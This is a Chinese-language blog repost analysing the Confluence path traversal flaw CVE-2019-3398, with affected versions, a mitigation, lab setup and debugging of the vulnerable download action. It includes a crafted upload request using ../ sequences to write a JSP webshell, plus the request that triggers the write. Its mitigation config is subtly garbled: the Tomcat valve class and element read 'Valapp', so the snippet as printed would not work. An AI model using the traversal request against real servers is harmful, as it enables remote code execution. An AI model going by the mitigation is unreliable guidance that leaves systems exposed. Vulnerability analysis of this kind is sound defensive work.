Confluence downloadallattachments路径穿越漏洞(CVE-2019-3398 )

2019-04-21 约 1920 字 预计阅读 4 分钟

声明:本文 【Confluence downloadallattachments路径穿越漏洞(CVE-2019-3398 )】 由作者 sha****ock5 于 2019-04-21 09:56:00 首发 先知社区 曾经 浏览数 182 次

感谢 sha****ock5 的辛苦付出!

漏洞描述:

Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置,从而导致在受影响版本的Confluence Server或Data Center系统上执行任意代码。

影响版本:

2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2

修复版本:

6.6.13
6.12.4
6.13.4
6.14.3
6.15.2

修复建议:

升级到修复版本。

缓解措施:

若无法升级,可采取以下临时缓解措施:
1、关闭Confluence;
2、编辑<Confluence的部署目录>/conf/server.xml
3、将以下代码加到<host>下面</host>

<Context path="/pages/downloadallattachments.action" docBase="" >
    <Valapp className="org.apache.catalina.valapps.RemoteAddrValapp" deny="*" />
</Context>

4、保存文件,重启Confluence。
缓解措施是否生效验证方法:
访问含有2个或以上附件的页面/博客,点击...=》附件=》下载全部

若返回404页面,则说明缓解措施已生效。但是缓解措施禁用了下载全部附件的功能。

Demo

参考:
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html
https://jira.atlassian.com/browse/CONFSERVER-58102

0x00 环境搭建

下载confluence-6.13.3用于复现。

$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.3.tar.gz
$ tar zxf atlassian-confluence-6.13.3.tar.gz
$ cd atlassian-confluence-6.13.3
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目录,这里我设置为
#confluence.home=/home/cqq/confluenceHome,到时候附件和临时zip文件都是存放在这个路径下的
$ bin/start-confluence.sh

0x01 漏洞复现

首先根据官方描述,downloadallattachments这个资源,结合其验证缓解措施的方式,找到了漏洞触发点:

... =》附件=》下载全部

点击下载全部时,会触发一个GET请求:

GET /pages/downloadallattachments.action?pageId=65601

然后响应

Location: /download/temp/downloadi120q121507.zip?contentType=application/zip

而且每次发出downloadallattachments.action请求,其响应的Location路径的zip文件名都不一样,发现原来是服务端每收到一次downloadallattachments.action请求,就会在download/temp/目录下生成一个zip文件:

搜索了一下,发现这个文件是在/Users/xxx/confluenceHome,也就是confluence的安装目录下。

cqq@ubuntu:~$ find .|grep download45lL6115220.zip
./confluenceHome/temp/download45lL6115220.zip

然后看到这个目录下还有一个attachments目录,为了验证这就是附件上传的目录,


于是,新建了一个页面,上传了几个文本文件,通过cat出来的内容与上传的内容匹配,判定这个就是上传的附件被存放的目录,但是这个目录下的文件名被重命名了。
既然官方说是路径穿越漏洞,就得找到文件名或者文件路径的输入点。在这里上传文件的过程中抓一下包,发现有两个参数是文件名/文件路径相关的。

0x02 漏洞调试

通过一番grep -rn xxx *的查找,需要两步来完成对文件上传的利用。
1、POST /plugins/drag-and-drop/upload.action?pageId=65601&filename=../../../../../../Users/xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cqq2.jsp&size=754&minorEdit=true&spaceKey=ADMIN&mimeType=application%2Foctet-stream&atl_token=47ae1afbc53f1ed100a4c36053de2d754d48ffeb&contentType=page&isVFMSupported=true&name=cqq2.jsp
先将webshell上传上去,其内容会出现在confluence的安装目录,即/Users/xxx/confluenceHome。
在UploadAction#execute下断点

confluence/WEB-INF/atlassian-bundled-plugins/confluence-drag-and-drop-6.13.0.jar!/com/atlassian/confluence/plugins/dragdrop/UploadAction.class

通过

InputStream inStream = this.getStreamForEncoding(this.httpServletRequest);
this.fileUploadManager.storeResource(new InputStreamAttachmentResource(inStream, this.filename, this.mimeType, this.size, (String)null, this.minorEdit), (ContentEntityObject)content);

将POST的内容写入到缓存文件中:attachments/ver003//56/98/98306/101/65/65601/917509/1

2、GET /pages/downloadallattachments.action?pageId=65601
然后通过这个GET请求,将webshell内容写入指定的路径。
在DownloadAllAttachmentsOnPageAction#execute下断点

confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class

confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class文件内容:

public String execute() throws Exception {
        List<Attachment> latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
        Iterator var2 = latestAttachments.iterator();

        while(var2.hasNext()) {
            Attachment attachment = (Attachment)var2.next();
            File tmpFile = new File(this.getTempDirectoryForZipping(), attachment.getFileName());
            InputStream inputStream = this.attachmentManager.getAttachmentData(attachment);
            Throwable var6 = null;

            try {
                OutputStream fileOutputStream = new FileOutputStream(tmpFile);
                Throwable var8 = null;

                try {
                    ByteStreams.copy(inputStream, fileOutputStream);
                } catch (Throwable var31) {
                    var8 = var31;
                    throw var31;
                } finally {
                    if (fileOutputStream != null) {
                        if (var8 != null) {
                            try {
                                fileOutputStream.close();
                            } catch (Throwable var30) {
                                var8.addSuppressed(var30);
                            }
                        } else {
                            fileOutputStream.close();
                        }
                    }

                }
            } catch (Throwable var33) {
                var6 = var33;
                throw var33;
            } finally {
                if (inputStream != null) {
                    if (var6 != null) {
                        try {
                            inputStream.close();
                        } catch (Throwable var29) {
                            var6.addSuppressed(var29);
                        }
                    } else {
                        inputStream.close();
                    }
                }

            }
        }

        //在confluence安装路径的temp目录下生成zip文件,与此次漏洞无关。
        File zipFile = new File(this.getConfluenceTempDirectoryPath() + File.separator + this.getZipFilename() + ".zip");
        FileUtils.createZipFile(this.getTempDirectoryForZipping(), zipFile);
        FileUtils.deleteDir(this.getTempDirectoryForZipping());
        this.downloadPath = this.prepareDownloadPath(zipFile.getPath()) + "?contentType=application/zip";
        this.gateKeeper.addKey(this.prepareDownloadPath(zipFile.getPath()), this.getAuthenticatedUser());
        return "success";
    }

可见,每次调用GET ,都会执行

ByteStreams.copy(inputStream, fileOutputStream);

将之前缓存的上传文件copy到通过请求参数filename指定的路径下,实现路径穿越。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now